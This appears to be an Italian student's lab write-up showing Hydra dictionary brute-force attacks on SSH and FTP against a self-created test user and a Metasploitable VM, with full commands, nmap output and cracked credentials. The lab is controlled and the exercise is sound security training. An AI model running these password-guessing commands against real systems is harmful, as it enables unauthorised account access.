HYDRA

Seguiamo le istruzioni della traccia di pratica andiamo and installere seclist e vsftpd. Creiamo il nuovo user con la rispettiva password (test_user e testpass).

Controlliamo che ci si possa effettivamente connettere al terminale del nuovo user creato con il comando ssh…

```
┌──(kali㉿kali)-[~]
└─$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
```

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@192.168.1.54
The authenticity of host '192.168.1.54 (192.168.1.54)' can't be established.
ED25519 key fingerprint is SHA256:cCEanLvf7UqJb/762j0Fqw0OZtwQdBdKUyKwpUCVLFQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.54' (ED25519) to the list of known hosts.
test_user@192.168.1.54's password:
Linux kali 6.5.0-kali3-arm64 #1 SMP Debian 6.5.6-1kali1 (2023-10-09) aarch64

1 device has a firmware upgrade available.
Run `fwupdmgr get-upgrades` for more information.


The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

1 device has a firmware upgrade available.
Run `fwupdmgr get-upgrades` for more information.

┌──(test_user㉿kali)-[~]
└─$
```

Procediamo utilizzando hydra per trovare le credenziali di accesso al user test_user come segue in figura.

Ai fini di velocizzare la ricerca da parte di hydra abbiamo inserito già il nome test_user e siamo andati a modificare il file delle Passwords spostando la password al 21 posto (questo è stato fatto per semplificare la ricerca da parte di hydra in quanto richiedeva molto tempo).

In una situazione reale bisognerebbe aspettare che il tool compia tutte le combinazioni possibili fino a trovare quella corretta.

Inseriamo il ID della macchina e il servizio ssh, il comando -V serve per visualizzare a schermo tutte le combinazioni provare.

Il tool si blocca una volta trovata la combinazione user-passwd corretta ed esce.

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user  -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.1.54 -t4 ssh -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga
nizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 10:14:00
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous sessi
on found, to prevent overwriting, ./hydra.restore
-I
[DATA] max 4 tasks per 1 server, overall 4 tasks, 500 login tries (l:1/p:500), ~125 tries per task
[DATA] attacking ssh://192.168.1.54:22/
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "123456" - 1 of 500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "password" - 2 of 500 [child 1] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "12345678" - 3 of 500 [child 2] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "1234" - 4 of 500 [child 3] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "pussy" - 5 of 500 [child 2] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "12345" - 6 of 500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "dragon" - 7 of 500 [child 1] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "qwerty" - 8 of 500 [child 3] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "696969" - 9 of 500 [child 2] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "mustang" - 10 of 500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "letmein" - 11 of 500 [child 1] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "baseball" - 12 of 500 [child 3] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "master" - 13 of 500 [child 2] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "michael" - 14 of 500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "football" - 15 of 500 [child 1] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "shadow" - 16 of 500 [child 3] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "testpass" - 17 of 500 [child 2] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "monkey" - 18 of 500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "abc123" - 19 of 500 [child 1] (0/0)
[ATTEMPT] target 192.168.1.54 - login "test_user" - pass "pass" - 20 of 500 [child 3] (0/0)
[22][ssh] host: 192.168.1.54   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 10:14:23
```

Proviamo ora ad utilizzare il servizio ftp per trovare la password di test_user

Inizializziamo il servizio installato in precedenza *vsftpd*, e controlliamo se si connette a user obiettivo.

Successivamente ripetiamo i comandi utilizzati in precedenza di Hydra ma modificando il servizio in ftp.

N.B. IP è diverso perchè nel frattempo abbiamo modificato la network interface per comunicare con la macchina Metasploitable ai fine del punto bonus della consegna.

```
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ ftp test_user@192.168.32.100
Connected to 192.168.32.100.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user  -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.32.100 -t4 ftp -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ
izations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 14:31:20
[DATA] max 4 tasks per 1 server, overall 4 tasks, 501 login tries (l:1/p:501), ~126 tries per task
[DATA] attacking ftp://192.168.32.100:21/
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "123456" - 1 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "password" - 2 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "12345678" - 3 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "1234" - 4 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "pussy" - 5 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "12345" - 6 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "dragon" - 7 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "qwerty" - 8 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "696969" - 9 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "mustang" - 10 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "letmein" - 11 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "baseball" - 12 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "msfadmin" - 13 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "master" - 14 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "michael" - 15 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "football" - 16 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "shadow" - 17 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "testpass" - 18 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "monkey" - 19 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "abc123" - 20 of 501 [child 2] (0/0)
[21][ftp] host: 192.168.32.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 14:31:37
```

Infine per il punto bonus andiamo ad utilizzare Hydra per crackare user e password della nostra macchina Metasploitable.

La procedura è la stessa di prima, prima però abbiamo fatto una ricerca su nmap per vedere quali servizi erano attivi.

Abbiamo provato sul primo servizio provato ftp.

Come prima solo per velocizzare il processo di hydra abbiamo impostato il nome username: msfadmin e modificato la password nella lista.

```
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
```

```
┌──(kali㉿kali)-[~]
└─$ hydra -l msfadmin -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.32.101 ftp -t4 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ
izations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:13:59
[WARNING] Restorefile (you have 10 seconds to abort … (use option -I to skip waiting)) from a previous sessio
n found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 501 login tries (l:1/p:501), ~126 tries per task
[DATA] attacking ftp://192.168.32.101:21/
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "123456" - 1 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "password" - 2 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "12345678" - 3 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "1234" - 4 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "pussy" - 5 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "12345" - 6 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "dragon" - 7 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "qwerty" - 8 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "696969" - 9 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "mustang" - 10 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "letmein" - 11 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "baseball" - 12 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "msfadmin" - 13 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "master" - 14 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "michael" - 15 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "football" - 16 of 501 [child 3] (0/0)
[21][ftp] host: 192.168.32.101   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 11:14:23
```